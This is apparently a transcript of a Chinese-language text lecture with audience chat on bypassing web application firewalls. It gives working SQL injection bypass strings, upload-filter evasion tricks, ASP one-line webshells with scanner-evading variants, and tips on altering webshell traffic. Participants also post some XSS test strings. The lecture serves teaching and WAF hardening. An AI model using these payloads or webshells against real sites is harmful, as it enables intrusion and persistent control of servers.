Verkey
课程简介 WAF(Web应用防火墙，Web Application Firewall的简称)是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的产品。WAF可以发现和拦截各类Web层面的攻击，记录攻击日志，实时预警提醒，在Web应用本身存在缺陷的情况下保障其安全。但是，WAF不是万能的、完美的、无懈可击的，在种种原因下，它们也会有各自的缺陷，作为用户不可以盲目相信WAF而不注重自身的安全。 本次课程我们将以一些实际的WAF产品为例，了解它们的基本原理，它们存在的缺陷，以及攻击者是如何利用它们的缺陷让它们形同虚设的。我们应当更注重于注重自身系统和应用的安全，不能以为有了WAF就可以高枕无忧。伽藍
hi
test罗卜卜卜卜卜卜
🍚好好🐱
<svg/onload=alert(1)>Lyrics0
hiso
hello气质有毒
testSite if
pure
hi guys.
?/<>'"script 123456小国香径独徘徊
?????你好
学习长短短
板凳
<script>alert(/xss/)</script>
..沦沦
支持支持
本期LIVE课程的安排如下： 1、攻击者是从哪些层面绕过WAF的，使用的技术和方法有哪些？ 2、WAF自身有哪些缺陷、为什么会有这些缺陷以及这些缺陷是如何被利用的。 3、实例讲解攻击者是如何利用这些缺陷绕过WAF的SQL注入检测和拦截的。 4、实例讲解攻击者是如何利用这些缺陷绕过WAF的上传检测和拦截的。 5、实例讲解一句话木马是如何利用查杀软件的缺陷躲避查杀的。 6、讲解一句话脚本木马绕过WAF的通信数据包拦截的思路。 7、答疑和自由讨论。停格
66666
😀😁😂🤣😃😄😅😆😉😊😋😎😍😘😗😙😚☺🙂🤗🤔😐😑😶🙄😏😣😥😮🤐😯😪😫😴😌😛😜😝🤤😒😓😔😕🙃🤑😲☹🙁😖😞😟😤😢😭😦😧😨😩😬😰😱😳😵😡😠😷🤒🤕🤢🤧😇🤠🤡🤥🤓😈👿👹👺💀👻👽🤖💩😺😸😹😻😼😽🙀😿😾🏻🏼🏽🏾🏿🗣👤👥👫👬👭👂👂🏻👂🏼👂🏽👂🏾👂🏿👃👃🏻👃🏼👃🏽👃🏾👃🏿👣👀👁👅👄💋👓🕶👔👕👖👗👘👙👚👛👜👝🎒👞👟👠👡👢👑👒🎩🎓⛑💄💍🌂💼林歌
量子扫描器 2.0 by 沦沦WenzhengB
1落沐萧萧
有回放吗，Who Am I ?
666666nu11
期待哎呀妈呀脑壳疼
James Y
这是准备要开始了是吗算了吧
8点开始吧
快了Haox
文字直播吗言西老大
视频直播呢
你们找到live的口在哪里没有
不是这个吗宁 磊
live应该就是文字直播吧
不是吧。。
没有负责人来说明一下吗z2p
手机能看吗，公司的电脑没声音。。。Monkey
我找不到视频直播接口 我只是看到这里而已
....文字直播 也就太难受了我不是贰佰伍
1
live不是指现场直播吗
还没开始吧
不清楚 估计是文字的吧 都没有看到视频连接之类的，进来就是这里的
还有6分钟，，，，入口在哪里
各位，抱歉，就是在这里哈！1isten
知乎live就是文字语音，这种也是那个形式吧
哈哈哈文字来的 ，不是视频哈哈哈
啊l1nk3r
emmmmmmmmmm
真的不是视频直播？
嗯 本来是语音+文字的 只不过内容可能稍微有点多 语音的话可能讲不完
。。。就文字吗Struggle
文字更难讲完啊
太难受了
我还是以为是语音的 。
很难受，，
不是纯文字，图文的，准备的很丰富，不用担心
文字就很理论啊
ppt那种的 还好可以吧Ray
额不是视频吗Star
有课件吗？
B站直播间来一个？
小礼物走一波
小板凳已搬好MonutYan
。
哈哈 不收小礼物哈幽暗
........
还有3分中开始了
感谢各位百忙之中参与二向箔安全第一期Live，感谢你们的支持；感谢二向箔安全的创始人长短短提供的Live平台，很荣幸受邀担任二向箔安全第一期Live的主讲人，首先请允许我作一个简单的自我介绍：我是李维，ID：Verkey，PKAV团队核心成员，从事网络安全行业十余年，主要擅长WEB渗透测试和安全类产品研发。m0use
小板凳已坐好文仵传输㫑手
ready
录屏我都准备好了。。。。。。。
开始了吗
已经拿好笔记本做笔记
准备开始了。
本期Live的主题是《WAF是如何被绕过的》，我们将从一些实际测试过的WAF产品上，了解WAF的一些原理，存在的缺陷，以及这些缺陷是如何影响到WAF的检测和拦截的。 作为WAF的使用者，我们应当更注重于注重自身系统和应用的安全，不能把WAF当作完美的解决方案，不能以为有了WAF就可以高枕无忧。 作为WAF产品的开发者，我们应该更加注重了解攻击者的绕过技巧，不断地改进和更新我们的产品，未知攻，焉知防？ 打造一款WAF产品，尤其是通用型的WAF实属不易，所以，本次LIVE中涉及到的一些产品，我们掩去真实的名字，以研究和探讨WAF的问题为主。Aiopr ·
我还以为是视频。。raul17
文字直播？？
Live注意事项 1、本次课程分享的内容，仅限于技术研究和探讨使用，请大家遵守法律法规，勿将其用于非法目的！ 2、本次Live的过程中，请勿讨论敏感的话题以及与本次Live无关的话题。 3、为保证课程的连续性，课程过程中如果您有什么疑问，请留给阶段性的问答时间或者最后的答疑环节中。与本次课程无关的其他问题，主讲人可能无法回答，谢谢。 4、某些环境大家可以自由发言，如果您只想观看主讲人的发言，请勾选“仅显示主讲”。 5、因为每一位朋友的技术水平有所不同，本次Live无法照顾周全，请多包涵！本次Live假设您对WAF有一定的认知，如果您对某些知识点已经熟悉，您可以跳过该部分知识。董伟
文字?李扬🐶🦁🐘
不是视频？
课程准备很充分，大家不用担心课程形式的问题。
ok
开始吧爱笑的天
李大师v5不辣
+1Stitches
惊喜。。
请开始吧，大家不要说话认真听吧。。。
+1
👍
可能很多朋友不习惯live这种形式，我也是第一次以live的形式和大家一起学习，所以我做了充分准备，谢谢大家！Aiden
+1
😀
❤️
认真听，大家莫刷屏
大家别发没用的消息了吧 保证课程内容的连贯性Our Lady's Tears
怎么播放视频
主讲李老师开始吧期待
开始了！
可以点击右上角的仅显示主讲
WAF(Web应用防火墙，Web Application Firewall的简称)是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的产品。WAF可以发现和拦截各类Web层面的攻击，记录攻击日志，实时预警提醒，在Web应用本身存在缺陷的情况下保障其安全。 但是，WAF不是万能的、完美的、无懈可击的，在种种原因下，它们也会有各自的缺陷，作为用户不可以盲目相信WAF而不注重自身的安全。
那么，有哪些薄弱点，可以被攻击者用来作为WAF的突破口呢？我们先来了解下。 （这部分的内容有些比较基础，是为照顾刚入门的朋友，如果您已经熟悉，不妨一起回顾，或者等候后面的内容。）
一、 攻击者可利用哪些方面来绕过WAF？ 1、 Web容器的特性 2、 Web应用层的问题 3、 WAF自身的问题（本次LIVE重点） 4、 数据库的一些特性
Web容器的特性 – 1 IIS+ASP的神奇%
在IIS+ASP的环境中，对于URL请求的参数值中的%，如果和后面的字符构成的字符串在URL编码表之外，ASP脚本处理时会将其忽略。
现在假设有如下请求： http://www.test.com/1.asp?id=1 union all se%lect 1,2,3,4 fro%m adm%in
在WAF层，获取到的id参数值为1 union all se%lect 1,2,3,4 fro%m adm%in，此时waf因为%的分隔，无法检测出关键字 select from等
但是因为IIS的特性，id获取的实际参数就变为1 union all select 1,2,3,4 from admin，从而绕过了waf。
这个特性仅在iis+asp上 asp.net并不存在Eding
过滤() 怎么绕过
别打断
大家在课程上如果有什么问题 可以先记下来 最后有答疑部分只会养猪的Thorns
童鞋好好听，后面有讨论。
Web容器的特性 – 2 IIS的Unicode编码字符
IIS支持Unicode编码字符的解析，但是某些WAF却不一定具备这种能力。
(已知 's' 的unicode编码为：%u0053, 'f' 的unicode编码为%u0066) http://www.test.com/1.asp?id=1 union all %u0053elect 1,2,3,4 %u0066rom admin 在WAF层，获取到的id参数值为1 union all %u0053elect 1,2,3,4 %u0066rom admin 但是IIS后端检测到了Unicode编码会将其自动解码，脚本引擎和数据库引擎最终获取到的参数会是：1 union all select 1,2,3,4 from admin
这部分的内容比较基础 我会稍微过得快一点 因为不是我们今天的重点
此方法还存在另外一种情况，多个不同的widechar可能会被转换为同一个字符。例如： (http://blog.sina.com.cn/s/blog_85e506df0102vo9s.html WideChar和MultiByte字符转换问题) s%u0065lect->select s%u00f0lect->select 这种情况需要根据不同的waf进行相应的测试，并不是百发百中。但是对于绕过来说，往往只要一个字符成功绕过即可达到目的。
Web容器的特性 – 3 HPP(HTTP Parameter Pollution): HTTP参数污染
在HTTP协议中是允许同样名称的参数出现多次的。例如：http://www.test.com/1.asp?id=123&id=456
根据WAF的不同，一般会同时分开检查id=123和id=456，也有的仅可能取其中一个进行检测。但是对于IIS+ASP/ASP.NET来说，它最终获取到的ID参数的值是123,空格456(asp)或123,456(asp.net)。清桐
复制黏贴有点来不及
我担心太快了 如果大家都觉得慢 我尽量快一点
后面有课件吗？
所以对于这类过滤规则，攻击者可以通过： id=union+select+password/*&id=*/from+admin 来逃避对select * from的检测。因为HPP特性，id的参数值最终会变为： union select password/*,*/from admin
没事 后面还有一段时间是保存的把 @长短短sec_01
是不是没有语音吧
下表是统计出的不同服务器对HPP的处理方式，大家可以参考一下。
Web容器的特性 – 4 畸形HTTP请求
PAXX /id.php?id=1%20union/**/select Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 以下省略..ll
图有没有高清的=-=
图片不能单点放大 有点疼@长短短
太模糊了
以上是Web容器的一些特性
接下来，我们讲讲Web应用层的问题
Web应用层的问题 -1 多重编码问题
如果Web应用程序能够接收多重编码的数据，而WAF只能解码一层(或少于WEB应用程序能接收的层数)时，WAF会因为解码不完全导致防御机制被绕过。#destiny
没有语音？还是我的电脑的问题？七月
文字直播
Web应用层的问题 -2 多数据来源的问题
如Asp和Asp.NET中的Request对象对于请求数据包的解析过于宽松，没有依照RFC的标准来，开发人员在编写代码时如果使用如下方式接收用户传入的参数
WEB程序可从以下3种途径获取到参数ID的参数值： 1.从GET请求中获取ID的参数值； 2.如果GET请求中没有ID参数，尝试从POST的ID参数中获取参数值； 3.如果GET和POST中都获取不到ID的参数值，那么从Cookies中的ID参数获取参数值。
这样对于某些WAF来说，如果仅检查了GET或POST的，那么来自Cookie的注入攻击就无能为力了，更何况来自于这三种方式组合而成的参数污染的绕过方法呢？
图都看不清啊。。
+1
+1
+1
live 可以反复播放，明天加上点击放大功能，抱歉了。
请求内容为： POST /test.aspx?id=123 HTTP/1.1 Host: 192.168.118.128:8080 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 6 Cookie:id=789 id=456ke
OK
返回内容为： HTTP/1.1 200 OK Cache-Control: private Connection: close Date: Sat, 22 Sep 2018 07:51:23 GMT Content-Length: 11 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: yunsuo_session_verify=44fb70a14c10485884a32dfec98a4982; expires=Tue, 25-Sep-18 15:51:23 GMT; path=/; HttpOnly X-AspNet-Version: 2.0.50727 123,456,789
http://l0ca1.oss-cn-beijing.aliyuncs.com//images/BJ35MA3XMj5vvG8F3mUe30DVkJjHs5Ak?x-oss-process=image/resize,m_lfit,w_1000,h_1000,limit_0/auto-orient,1/quality,q_90
大图Fn
图可以手动调大。。
可以看到 id参数值的取值顺序匆匆那年
verkey和长短短都是我崇拜的大神，支持大佬。
然后到了我们今天的重点内容答案
get post cookie
各位大哥先别说话了 听人家讲完行不行 有点连贯性 最后肯定有讨论啊 现在着啥急
WAF自身的有哪些问题？
WAF自身的问题 – 1 白名单机制大老李
怎么能不自动跳转到底部？
WAF存在某些机制，不处理和拦截白名单中的请求数据： 1、指定IP或IP段的数据。 2、来自于搜索引擎爬虫的访问数据。 3、其他特征的数据。
如以前某些WAF为了不影响站点的SEO优化，将User-Agent为某些搜索引擎（如谷歌）的请求当作白名单处理，不检测和拦截。伪造HTTP请求的User-Agent非常容易，只需要将HTTP请求包中的User-Agent修改为谷歌搜索引擎的User-Agent即可畅通无阻。
WAF自身的问题 – 2 数据获取方式存在缺陷
某些WAF无法全面支持GET、POST、Cookie等各类请求包的检测，当GET请求的攻击数据包无法绕过时，转换成POST可能就绕过去了。或者，POST以Content-Type: application/x-www-form-urlencoded无法绕过时，转换成上传包格式的Content-Type: multipart/form-data就能够绕过去。
2、某些WAF从数据包中提取检测特征的方式存在缺陷，如正则表达式不完善，某些攻击数据因为某些干扰字符的存在而无法被提取，常见的如%0a、%0b、%0c、%0d、%09、%0a等。
在以前，针对某些WAF，直接使用以上字符就可以直接绕过。当然，现在不太可能了。
WAF自身的问题 – 3 数据处理不恰当
1、%00截断
将%00进行URL解码，即是C语言中的NULL字符
如果WAF对获取到的数据存储和处理不当，那么%00解码后会将后面的数据截断，造成后面的数据没有经过检测。
WAF在获取到参数id的值并解码后，参数值将被截断成1/*，后面的攻击语句将没有被WAF拿去进行检测。
2、&字符处理
某些WAF在对HTTP请求数据包中的参数进行检测时，使用&字符对多个参数进行分割，然后分别进行检测，如：
这些WAF会使用&符号分割par1、par2和par3，然后对其参数值进行检测。但是，如果遇到这种构造：
WAF会将以上参数分割成如下3部分：
如果将这3个参数分别进行检测，某些WAF是匹配不到攻击特征的。
这里的%26是&字符
/*%26*/->/*&*/ 其实只是一个SQL的注释而已
WAF自身的问题 – 4 数据清洗不恰当
当攻击者提交的参数值中存在大量干扰数据时，如大量空格、TAB、换行、%0c、注释等，WAF需要对其进行清洗，筛选出真实的攻击数据进行检测，以提高检查性能，节省资源。null
如果WAF对数据的清洗不恰当，会导致真实的攻击数据被清洗，剩余的数据无法被检测出攻击行为。impakho
前面的理论比较多一些。
WAF自身的问题 – 5 规则通用性问题
通用型的WAF，一般无法获知后端使用的是哪些WEB容器、什么数据库、以及使用的什么脚本语言。
每一种WEB容器、数据库以及编程语言，它们都有自己的特性，想使用通用的WAF规则去匹配和拦截，是非常难的。
通用型WAF在考虑到它们一些共性的同时，也必须兼顾它们的特性，否则就很容易被一些特性给Bypass！
WAF自身的问题 – 6 为性能和业务妥协
要全面兼容各类Web Server及各类数据库的WAF是非常难的，为了普适性，需要放宽一些检查条件，暴力的过滤方式会影响业务。
对于通用性较强的软WAF来说，不得不考虑到各种机器和系系统的性能，故对于一些超大数据包、超长数据可能会跳过不检测。
以上就是WAF自身的一些问题，接下来我们会针对这些问题进行讲解，看看WAF是怎么受这些问题影响的。
然后是数据库的一些特性，不同的数据库有一些属于自己的特性，WAF如果不能处理好这些特性，就会出很大的问题。
总结一下，WAF自身的问题有： 白名单机制 数据获取方式存在缺陷 数据处理不恰当 数据清洗不恰当 规则通用性问题 为性能和业务妥协
接下来，我们看看，数据提取方式存在缺陷，导致WAF被绕过的实例。
某些WAF从数据包中提取检测特征的方式存在缺陷，如正则表达式不完善，某些攻击数据因为某些干扰字符的存在而无法被提取。
某WAF在后端会将删除线部分当作注释清洗掉：
事实上，x参数和y参数其实和id参数并无关系，这样的特征数据提取方式，是不科学的。
二、数据清洗方式不正确，导致WAF被绕过
这样，第一个示例大家有不明白的么？
可以提问了。
木问题
那后面的参数能带进去查询不？
没看明白
讲完了吗。。
不能带进查询。
可是，在数据库里，会不会也被注释掉枫
这样是会导致业务异常？火文
那这个例子如何绕过奔向大海
后面的参数能怎么利用
x参数和y参数 是不会带入查询的 后端也没有相关的处理
实例中，大部分都是SQL注入的，有没有其他攻击类型的例子？OillieOnTheWay
WAF删除，后续不能查询？
清洗掉了不就失败了吗
不能带入数据库查询，那不是sql攻击失败？
完了对吗
WAF清洗 是复制原有语句 进行处理 清洗 然后检测 检测完后 使用原始语句进行查询
没完 目前只是对实例进行提问
这样啊
如果检测通过 那么使用原语句到数据库执行
第一个例子 清洗掉过后 &符号不还是 参数分割吗
ok
如果检测不通过 那么拦截
懂了
就是迷惑waf，让它以为分割成了几个参数，然后检测通过
那这个实例怎么才能 绕过清洗呢
对不起 看懂了
http://localhost/test/Article.php?type=1&x=/*&id=-2 union all select 1,2,3,4,5 from dual&y=*/
id 是在中间
这个实例如果在中间件日志里面会怎么显示呢？是带着你的payload的查询还是waf过滤了之后的查询呢？猜小知
只有文字？？？
日志显示还是 /Article.php?type=1&x=/*&id=-2 union all select 1,2,3,4,5 from dual&y=*/
不是迷惑waf分成几个参数吧，应该就是本来就有几个参数
查询语句是带有攻击向量的语句
这会导致验证通过，然后原语句查询
本来就有三个参数 x y 和 id
其中x和y参数是干扰用的 作用就是清洗
清洗完 带入查询的语句是什么?
了解
就是id 的值Gary
只有参数id才会被后端应用程序处理并生效
带入查询的 是id的值
对的
懂了
伪造2个参数，进行清洗，一个是实际需要的，这样理解对吧
ok
select * from aa where type =1
让waf 以为是注释
对的寻找奇点
就是让waf把/**/之间的清洗掉再去检测，然后就检测通过了。 其实执行的还是清洗之前的
没问题的话 我们讲第二个例子
ok曼小琳
ok
可以继续，老师
下一个吧
ok
二、数据清洗方式不正确，导致WAF被绕过
当攻击者提交的参数值中存在大量干扰数据时，如大量空格、TAB、换行、%0c、注释等，WAF需要对其进行清洗（为提升性能和降低规则复杂性），筛选出真实的攻击数据进行检测，但是，如果清洗方式不正确，会导致真正的攻击部分被清洗，然后拿去检测的是不含有攻击向量的数据，从而被Bypass!
如，http://localhost/test/Article.php?id=9999-"/*" union all select 1,2,3,4,5 as "*/" from mysql.user
某些WAF会将9999-"/*" union all select 1,2,3,4,5 as "*/" from mysql.user清洗为：9999-"" from mysql.user然后去检测是否有攻击特征，如果没有，执行原始语句： 9999-"/*" union all select 1,2,3,4,5 as "*/" from mysql.user
其实，对于/*来说，它只是一个字符串
对于*/来说，它也是一个字符串，在这里还充当一个别名
但是对于WAF来说，它会认为这是多行注释符，把中间的内容清洗掉去进行检测，当然检测不到什么东西。
对于这个例子，大家有什么疑问么？
没有
没有波波波塔斯基
一般waf都是清洗之后再进行规则匹配吗
没问题
很多都是这样的
先清洗在检测崖``
哪些waf会做清洗呢？
因为如果干扰字符串过多的话 检测需要消耗大量的资源和性能
/*可不可以替换成//或--这种方式的？还是说非要用/*才行？
所以清洗后 可以提升性能 降低匹配规则的复杂度
那现在的WAF是不是能做到先把参数的顺序打乱后再清洗呢？
归一化处理。。好像
云waf一般也是这样么 先清理在检测？
数据库的注释一般是 # -- /**/等 其实都可以使用 后面会有讲解
正则匹配挺快的啊
对于sql注入等检测 其正则表达式是很复杂的
小白觉得，一般正常请求不会存在大规模的干扰字符串吧，那为什么不直接将过大的直接丢弃呢
正则表达式如果没写好 容易造成RDoS攻击
疯狂回溯
如果是一个文件上传呢？
上传大文件 这个行为本身是正常的
还有其他问题么？
没的粑粑
像a.php?id=1&a=2&b=3 waf匹配的时候是匹配参数值1,2,3还是id=1&a=2&b=3
不同的匹配不同的吧
有不同的规则 不同的匹配方式
之前看过modsecurity，好像没有注意数据清洗这一块，大神对这个了解么？
modsecurity很久很久前看过一下 现在忘得差不多了
waf有没有这样的机制，检测到攻击字符就过滤攻击字符后带入sql查询
WAF先把参数的顺序打乱后再清洗是不是能起到一定的效果？
还有其它数据清洗的例子么？
WAF主要是检测后端的SQL语句 这个顺序是改变不了的
后面还有例子 大家可以有一些启发
ok
三、规则通用性问题，导致WAF被绕过
比如对SQL注入数据进行清洗时，WAF一般不能知道后端数据库是MySQL还是SQL Server，那么对于MySQL的/*!50001Select*/来说，这是一个Select的命令，而对于SQL Server来说，这只不过是一个注释而已，注释的内容为!50001Select。
尤其是对于通用性WAF，这一点相当难做，很难去处理不同数据库的特性之间的问题。
如数据库为SQL Server，某些WAF在处理如下语句时：
因为WAF会将MYSQL的/*!50001*/这种处理为MYSQL命令。但是对于SQL Server来说，这就是一个普通的注释而已。
这样处理后，SQL的语法都彻底乱了，自然而然就被Bypass了！
大家可以发现，很多WAF对错误的SQL语句是不拦截的。
同样的，在Mysql中#是注释，但是在SQL Server中#只是一个字符串。
那么如下语句：9999' and 1=(select top 1 name as # from master..sysdatabases)--会被当作为：9999' and 1=(select top 1 name as 注释
其实，这里的#只是一个字符，充当一个别名的角色而已。
如果后端数据库是SQL Server，这样的语句是没问题的。
但是通用型WAF怎么能知道后端是Mysql呢？
但是通用型WAF怎么能知道后端是SQL Server呢？ 上一句打错了。
这个例子大家有问题么？
ojbk
ojbk
我见过一些通用WAF，是可以设置中间件和数据库类型
ok
bypass到没有，WAF对数据库的识别，为啥不能单独有个设置什么的呢
有一个小问题，WAF不是应该尽可能的上报攻击么？像上面这么做，感觉太不走心了啊
碰到一些waf 只要 参数里面 有关键字 比如 select order 什么的 就直接给你拦了HLW
如果waf准备了多套检测规则，在接入网站的时候，自动向后端发包检测后端，然后自动调用相应的检测规则呢
我见过一些通用WAF，是可以设置中间件和数据库类型。手动设置后，就可以区分了吗
如果设置了 可能可以区分吧 我也不清楚
你这些貌似绕不过现在的主流 waf
waf 如果有缺陷的话 那正常业务会不会受到影响
WAF会记录到它发现有攻击特征的，但是这种它发现不了的，以为是正常的，是不会记录的。
waf有做关键字检测的话 应该过不了吧
还是可行的，主要是多种技巧结合使用会有意想不到的效果
你这些貌似绕不过现在的主流 waf +1 ，不过这个问题可以等完了再讨论
绕过waf 得自己fuzz 应该没有通用的吧 。。。。
很多主流的WAF 是不可能将规则限定得特别死的 会影响到业务
大型互联网业务，都是自己开发waf的，所以 了解多种方法，是可以绕过的，不同情况，组合不同方法e4rl
主要是学习思路，要干货不应该上这来吧
应该没啥大问题，老师可以讲下一个例子了
授人以鱼不如授人以渔，就是这意思
是的，很容易影响到业务。。。 业务的请求有时候想不到的
如果检测到select这个词就拦截的waf 这个应该不能叫waf
那叫什么，哈哈
老师下一个例子吧，最后在来讨论这个问题吧。
黑名单拦截器
过滤规则
接下来，我们讲讲WAF对上传的检测和处理。
一、为性能和业务妥协
要全面兼容各类Web Server及各类数据库的WAF是非常难的，为了普适性，需要放宽一些检查条件，暴力的过滤方式会影响业务。 对于通用性较强的软WAF来说，不得不考虑到各种机器和系统的性能，故对于一些超大数据包、超长数据可能会跳过不检测。
哈哈，超大数据包确实
之前某WAF就是这样被绕的
http://l0ca1.oss-cn-beijing.aliyuncs.com//images/F53yQp4NJW2Xdj1GHsnuIVLaWcVMC3Qn?x-oss-process=image/resize,m_lfit,w_1000,h_1000,limit_0/auto-orient,1/quality,q_90
❤️❤️
如上图所示，在上传数据包部分，强行添加5万个字符，有些WAF会直接不检测放行，或者，检测其中的一部分。
比如，检测最前面5w个字符有没有攻击特征，如果没有，放行。
针对这种，不能光靠WAF，我们应该在我们的WEB容器层面或应用程序层面来限定上传数据的大小。
所以，我们不能过度依赖于WAF。
不错，学习了Circlesus-小川
学习了
白名单 基本就绕不过了吧 。。。。
impreva有没有通杀的方式incognito
学习了
二、数据获取方式存在缺陷
针对上传的数据，WAF需要对数据进行提取并检测。
但是，它是怎么提取的呢？很多WAF都是基于正则表达式去提取。
既然是正则表达式，如果没有写得很全面很规范，那就容易产生问题。
还有有此WAF是负载均衡的问题被绕的过
没到提问时间，不要随意发言
如上图所示，对于IIS,这样写是没问题的。
Content-Disposition: form-data; name="FileName"; filename=" 1.asp"
但是WAF的设计者可能并不知道，这个是可以这样写的。
其他容器 不行吧
其他容器有的也可以，有点微小差异。
当用正则表达式去获取上传的文件名时，正则表达式就匹配不到了。所以上传就被绕过了。
Content-Disposition: form-data; name="FileName"; filename=""; filenamE=" 1.asp"
这样也可以吧
在应用程序代码层面，开发者可以检查Content-Disposition: form-data; name=头部，如果发现不符合格式规范，在代码层面禁止上传。
@Eding 我不记得iis是取第一个还是第二个了，你可以试试
这个大家有疑问么？
ok
没
ojbk
OK
我感觉好像这个live就剩咱们几个了
应用层代码检查，老师的意思，是会有检查上传的头部片段？
节奏可以快一点……
我还在
想听一下WAF工作流程有哪几步，分别是在做什么
在的
1段晓飞
zai
在窥屏菲菲
老师很细，很好
缓慢吸收中～
😂
1
节奏可以快一点，中间大家不要插嘴，谢谢
1
1
1沈树伟
1
1刘宁
都在潜水
好的 谢谢大家！
大佬 继续讲
1AdamL
1小王荟
1
接下来，我们讲一些脚本木马查杀工具的缺陷。
我们看一个测试样本，用asp的一句话做个示例。
原始一句话木马： <%execute request("a")%>
这个是最原始的，只要是一款webshell查杀工具，基本都能查杀。
使用了三款工具进行检测，都是比较知名的，其中有一款还是我崇拜的一个前辈创造的。
sorry,来晚了
我们来看一下查杀情况：
始一句话木马： <%execute request("a")%> 一句话木马变种1：<%dim REM1:execute request("a")%> 一句话木马变种2：<%dim REM1:REM1=request("a"):if true then v=REM1 else v="" end if:execute v%>
大家可以发现，变种1和2虽然说是变种，其实没有什么特别的代码，也没用加密混淆。
因为，这里用到的是这些查杀软件的自身缺陷，所以没有那么复杂的代码。
能不能大概讲下查杀软件的检测机制？
这是针对上面三个一句话木马的检测情况。
工具A和B，检测方式为正则匹配和变量跟踪。工具C还有语法分析的功能。
C 分析了个啥
C会分析语法。
我们先看A和B。
A和B有变量跟踪的能力。打个比方，X变量传递给Y变量，然后用execute执行Y，A工具和B工具是能检测到的。
比如： a=request("a") b=a execute b
这样还是会被检测到的，不管传递了多少次。
但是，A和B没有语法分析的功能。也就是说，逻辑单一。
如果，存在IF语句，让逻辑改变下，这个简单的变量跟踪就失效了。
x=request("a") if true then v=x else v="" end if execute v
如果加这样一个IF v还是会等于x 但是对于A和B工具来说 会跟踪到v="" 所以不查杀了
但是我们观察到，C工具是有语法分析功能的，为什么也查杀不了呢？
这个问题请大家思考一下。
变量作用域吧？
不对
语义分析和变量跟踪是分开工作的?
也不对
C连第二个都查不到。。。 不知道分析了啥
有点类似变量覆盖，只认最后一个v=‘’
end ？
语义分析没这么菜吧
语义分析干扰了变量跟踪
语义会单独执行来测试？
栈
吗
大家思考一下： <%execute request("a")%>被查杀 <%dim REM1:execute request("a")%>不被查杀
名单制度？
认为是不同类型的脚本了？
<%dim abcd:execute request("a")%>被查杀 <%dim REM1:execute request("a")%>不被查杀
REM1?
REM1有什么特殊的吗？
特征检查没检查到REM1？
原因在于，C工具的语法分析功能。
备注
REM是asp的注释
以为没有危害过滤掉了
昂~pynεrd
没做预处理
嗯
注释不会当成语句
但是REM1不是注释
REM 1 是注释 REM1 是变量
REM1是你定义的一个变量吧？
C工具误将REM1当真注释清洗了
这个有点刁钻
好吧
<%dim REM1:execute request("a")%>被清洗成了 <%dim
学习了
就导致了不查杀
这块大家有问题么？
没有了
没有了。理解
理解了
没有了，很巧妙
类似大小写这种会不会被清理呢？
估计是会的。现在大小写基本很能绕了吧
难
懂了. 学到了。开发waf的时候会注意的
可以讲讲jsp吗
厉害啦
那基于连接流量检测的 除了改客户端？还有啥方法吗
没有的会，讲最后一部分，然后我们可以自由交流和讨论。
继续课程吧
现在WAF还会对一句话木马的通信数据包进行拦截，目前来说，拦截还比较简单。其实我觉得需要更加增强一点。
很多WAF还只是基于通信的HTTP数据包中的简单特征进行拦截的，如果特征被修改，仍然可以被绕过。
有一些WAF可以解开一句话木马的BASE64加密字符串，并检测，这是个不错的方式。不过，仍然还是不够。
我们通过抓取脚本木马连接的数据包，通过逐段删减，就可以确定拦截位置。然后对照修改就可以让WAF检测不到。这些需要一点点脚本功底。
本次LIVE差不多要两个小时了，所以就告一段落了。大家可以开始提问和交流。
那如果根据webshell管理工具的流量特征来进行检测的这种怎么绕过呢？
imperva 有接触过吗？他们吹牛说 waf 领导者
D盾怎么绕过过去上面介绍方法可以绕过去吗
imperva 好像在Gartner上有排名
imperva说领导者并没有吹牛啊
说实话，imperva没有怎么研究过。
高频访问（爆破、sqlmap等）的时候，会被waf封ip，怎么解决？
改特定的 然后设置脚本修改 设置个转发 get了
@Who Am I 你可以去试试啊 哈哈
多重编码为什么绕不过去waf
金融甲方 好多有 imperva
能对现在国内主流waf做一个简单评价不？比如绿盟，启明，长亭==
被waf封ip 只能降低频率 或者通过多个代理轮换
很多都可以通过李大师的“我们通过抓取脚本木马连接的数据包，通过逐段删减，就可以确定拦截位置。然后对照修改就可以让WAF检测不到。这些需要一点点脚本功底。”去一段一段修改吧
绿盟别说了，测试他们的安全产品被绕过了N次
实说
抱歉，不做评价啊，做WAF真的很不容易，各有所长。
23333
还有通过一个proxy 代理脚本，来加密流量
哈哈哈
最近先知上的那个文章颩 過
这次授课结束了吗 我刚刚赶回来一花一世界
我也是
修改数据包特征是个好办法，但要有编程功底，能自己写木马客户端
不用自己写木马客户端的
已经结束了，现在是答疑和讨论时间。不过没关系，你可以翻看上面的记录。
多重编码为什么绕不过去waf？
ok
现在厉害的大牛都混迹什么论团或者网站啊
waf也不傻
能举例几个吗
多重编码 容器解析也会有问题吧
或者能够学习waf信息的网站也可以
安全就是 github 推特呗
过滤了 （） 怎么进行注入
木马的特征再怎么改，我只要找到管理工具的特征，拦截那一段回来的流量，你的木马也连不上吧
多重编码现在主流的WAF都能检测得到的
所以需要自己改特征嘛
服务端脚本也可以把执行后的结果加密后传输到 客户端
老师 这次的授课应该会保存吧
过滤了 （） 怎么进行注入
用一些非主流的编码能否绕过waf
/*! */
有没有下次
二哥或者长短短讲讲XSSl0ca1
感谢Verkey师傅 ，感谢大家对二向泊安全的支持，这第一次live平台还存在很多不足，我们仍在改进，在后期的live中我们将嵌入更多中的表达形式 音频，小视频 ，练习题形式等 也会尽快支持手机端观看 ，最后再次非常感谢大家的支持
过滤了 （） 怎么进行注入？
这次的课程很棒
感谢Verkey老师的授课
@Eding 要看情况 后端是什么数据库
mysql
老师 这次授课会保存吧
受益匪浅
代码过滤的 应该是
@Eding 后端是MYSQL 涉及到括号的函数基本都不能用对吧
union select 1，2，3，@@version，4# 可以 union select 1，2，3，user()，4# 不行
对的
union select 1，2，3，version()，4# 不行
只能找替代的 比如你这里的user() 可以CURRENT_USER替代
对
如果没有 就没办法了
没有别的办法了？
如果注入的话 好多都得（）
对于mysql 是这样的
其实并不建议使用音频，文字live的形式更有助于理解。也方便笔记记录，二次吸收。Uknow
有PPT的吗？
除非数据库有其它相同功能且不带()的函数
文字也挺好的
感谢大家耐心“看”完这场LIVE，原本预计是1个多小时，但是内容确实比较多。
感谢Verkey老师。
